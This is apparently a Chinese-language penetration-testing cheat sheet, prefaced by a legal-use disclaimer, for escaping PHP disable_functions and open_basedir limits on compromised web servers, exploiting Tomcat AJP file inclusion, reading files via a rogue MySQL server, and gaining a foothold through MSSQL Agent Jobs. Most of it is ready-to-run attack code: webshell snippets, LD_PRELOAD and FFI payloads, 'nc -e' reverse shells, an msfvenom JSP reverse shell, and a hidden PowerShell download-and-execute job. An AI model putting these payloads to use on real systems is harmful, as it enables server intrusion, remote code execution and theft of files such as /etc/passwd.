免责声明 本教程仅为合法的教学目的而准备,严禁用于任何形式的违法犯罪活动及其他商业行为,在使用本教程前,您应确保该行为符合当地的法律法规,继续阅读即表示您需自行承担所有操作的后果,如有异议,请立即停止本文章读。
目录
[php7.4 FFI绕过](#php7.4 FFI绕过)
[Tomcat Ajp LFI &RCE](#Tomcat Ajp LFI &RCE)
[MSSQL &Agent Job上线](#MSSQL &Agent Job上线)
bypass
Linux绕过disable_function
LD_PRELOAD
linux环境 putenv()、mail()可用 https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD http://192.168.0.107/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so outpath是命令输出位置,sopath指定so文件路径。 或 替换php文件中的mail为error_log("a",1);
php7.0-7.3 bypass
直接bypass https://raw.githubusercontent.com/mm0r1/exploits/master/php7-gc-bypass/exploit.php
windows系统组件com绕过
<?php $command = $_GET['cmd']; $wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.Application也能 $exec = $wsh->exec("cmd /c".$command); //调用对象方法来执行命令 $stdout = $exec->StdOut(); $stroutput = $stdout->ReadAll(); echo $stroutput; ?>
CGI启动方式
phpinfo中搜索server api是cgi或者fastcgi 如果是cgi模式:上传如下htaccess Options ExecCGI AddHandler cgi-script .xx windows平台 #!C:/Windows/System32/cmd.exe /c start calc.exe 1 linux平台 #!/bin/bash echo -ne "Content-Type: text:html\n\n" whoami 如果是fast_cgi,上传如下htaccess Options +ExecCGI AddHandler fcgid-script .abc FcgidWrapper "C:/Windows/System32/cmd.exe /c start cmd.exe" .abc 上传任意文件.abc 相对路径 AddHandler fcgid-script .html FcgidWrapper "../../php/php7.3.4nts/php-cgi.exe" .html AddHandler fcgid-script .xx FcgidWrapper "../../../WWW/localhost/calc.exe" .xx
ImageMagick组件绕过
imageMagick 版本 v6.9.3-9 或 v7.0.1-0 第一种 <?php echo "Disable Functions: " . ini_get('disable_functions') . "\n"; $command = PHP_SAPI == 'cli' ? $argv[1] : $_GET['cmd']; if ($command == '') { $command = 'id'; } $exploit = <<<EOF push graphic-context viewbox 0 0 640 480 fill 'url(https://example.com/image.jpg"|$command")' //核心 pop graphic-context EOF; file_put_contents("KKKK.mvg", $exploit); $thumb = new Imagick(); $thumb->readImage('KKKK.mvg'); $thumb->writeImage('KKKK.webp'); $thumb->clear(); $thumb->destroy(); unlink("KKKK.mvg"); unlink("KKKK.webp"); ?> 第二种 #include <stdlib.h> #include <string.h> void payload() { const char* cmd = "nc -e /usr/bin/zsh 127.0.0.1 4444"; system(cmd); } int fileno() { if (getenv("LD_PRELOAD") == NULL) { return 0; } unsetenv("LD_PRELOAD"); payload(); } 编译 gcc -shared -fPIC imag.c -o imag.so <?php putenv('LD_PRELOAD=/var/www/html/imag.so'); $img = new Imagick('/tmp/1.ps'); ?>
常规函数绕过
<?php echo exec('whoami');?> ------------------------------------------------------ <?php echo shell_exec('whoami');?> ------------------------------------------------------ <?php system('whoami');?> ------------------------------------------------------ <?php passthru("whoami");?> ------------------------------------------------------ <?php $command=$_POST['cmd']; $handle = popen($command , "r"); while(!feof($handle)) { echo fread($handle, 1024); //fread($handle, 1024); } pclose($handle);?> ------------------------------------------------------- <?php $command="ipconfig"; $descriptorspec = array(1 => array("pipe", "w")); $handle = proc_open($command ,$descriptorspec , $pipes); while(!feof($pipes[1])) { echo fread($pipes[1], 1024); //fgets($pipes[1],1024); }?>
pcntl_exec
开启了pcntl 扩展,并且php 4>=4.2.0 , php5,linux <?php if(function_exists('pcntl_exec')) { pcntl_exec("/bin/bash", array("/tmp/test.sh")); } else { echo 'pcntl extension is not support!'; } ?> test.sh #!/bin/bash nc -e /bin/bash 1.1.1.1 8888 #反弹shell
imap_open函数
<?php error_reporting(0); if (!function_exists('imap_open')) { die("no imap_open function!"); } $server = "x -oProxyCommand=echo\t" . base64_encode($_GET['cmd'] . ">/tmp/cmd_result") . "|base64\t-d|sh}"; imap_open('{' . $server . ':143/imap}INBOX', '', ''); sleep(5); echo file_get_contents("/tmp/cmd_result"); ?>
php7.4 FFI绕过
php 7.4 ffi.enable=true <?php $a='nc -e /bin/bash ip 8888'; $ffi = FFI::cdef( "int system(char *command);", "libc.so.6"); $ffi->system($a); ?>
shellshock
存在CVE-2014-6271漏洞 PHP 5.*,linux,putenv()、mail()可用 <?php function shellshock($cmd) { $tmp = tempnam(".","data"); putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1"); mail("a@127.0.0.1","","","","-bv"); $output = @file_get_contents($tmp); @unlink($tmp); if($output != "") return $output; else return "No output, or not vuln."; } echo shellshock($_REQUEST["cmd"]); ?>
蚁剑插件
01利用LD_PRELOAD环境变量 02利用ShellShock(CVE-2014-6271) 03利用Apache Mod CGI 04 PHP-FPM利用LD_PRELOAD环境变量(同1) 05攻击PHP-FPM监听端口 06 Json Serializer UAF 07具有特定析构函数UAF的PHP7 GC
open_basedir绕过
第一种 http://x.com/shell.php?a=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}; http://x.com/shell.php?a=if%20(%20$b%20=%20opendir(%22glob:///var/www/html/*.php%22)%20)%20{while%20(%20($file%20=%20readdir($b))%20!==%20false%20)%20{echo%20%22filename:%22.$file.%22\n%22;}closedir($b);} 第二种 http://x.com/shell.php?a=ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');system('cat ../../../../../etc/passwd'); http://x.com/shell.php?a=mkdir(%22/tmp/crispr%22);chdir(%27/tmp/crispr/%27);ini_set(%27open_basedir%27,%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);chdir(%27..%27);ini_set(%27open_basedir%27,%27/%27);print_r(scandir(%27.%27)) 第三种 命令执行绕过 读文件 ?a=show_source('preload.php'); ?a=echo(readfile('preload.php')); ?a=print_r(readfile('preload.php')); ?a=echo(file_get_contents('preload.php')); ?a=print_r(file_get_contents('preload.php'));
Tomcat Ajp LFI &RCE
LFI https://github.com/Kit4y/CNVD-2020-10487-Tomcat-Ajp-lfi-Scanner >python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.0.110 -p 8009 -f pass RCE >msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.0.107 LPORT=12138 R >/var/www/html/1.jpg 配合目标文件上传传入服务器 >java -jar ajpfuzzer_v0.6.jar >connect 192.168.0.110 8009 >forwardrequest 2 "HTTP/1.1" "/index.jsp" 192.168.0.107 192.168.0.107 porto 8009 false "Cookie:AAAA=BBBB","Accept-Encoding:identity" "javax.servlet.include.request_uri:index.jsp","javax.servlet.include.path_info:/1.jpg","javax.servlet.include.servlet_path:/"
Mysql连接文件读取
https://github.com/Gifts/Rogue-MySql-Server 客户端必须启用LOCAL-INFILE 客户端支持非SSL连接 目标web存在adminer等可检查数据库连接的脚本。 攻击机本地运行python构造假mysql服务,使用目标web连接,读取文件。 #coding=utf-8 import socket import logging logging.basicConfig(level=logging.DEBUG) filename="/etc/passwd" sv=socket.socket() sv.bind(("",3305)) sv.listen(5) conn,address=sv.accept() logging.info('Conn from: %r', address) conn.sendall("\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00") conn.recv(9999) logging.info("auth okay") conn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00") conn.recv(9999) logging.info("want file...") wantfile=chr(len(filename)+1)+"\x00\x00\x01\xFB"+filename conn.sendall(wantfile) content=conn.recv(9999) logging.info(content) conn.close()
Mysql开启外连
>grant all privileges on user.* to user@"%" identified by "P@ssw0rd";
MSSQL &Agent Job上线
USE msdb; EXEC dbo.sp_add_job @job_name = N'syspolicy_purge_now' ; EXEC sp_add_jobstep @job_name = N'syspolicy_purge_now', @step_name = N'syspolicy_purge_step1', @subsystem = N'PowerShell', @command = N'powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(''http://IP_OR_HOSTNAME/file''))"', @retry_attempts = 1, @retry_interval = 5 ;EXEC dbo.sp_add_jobserver @job_name = N'syspolicy_purge_now '; EXEC dbo.sp_start_job N'syspolicy_purge_now '; 使用在注入点处,使用burp进行url编码,编码后前面加%20(空格URL编码)
DNSLog
http://ceye.io http://www.dnslog.cn/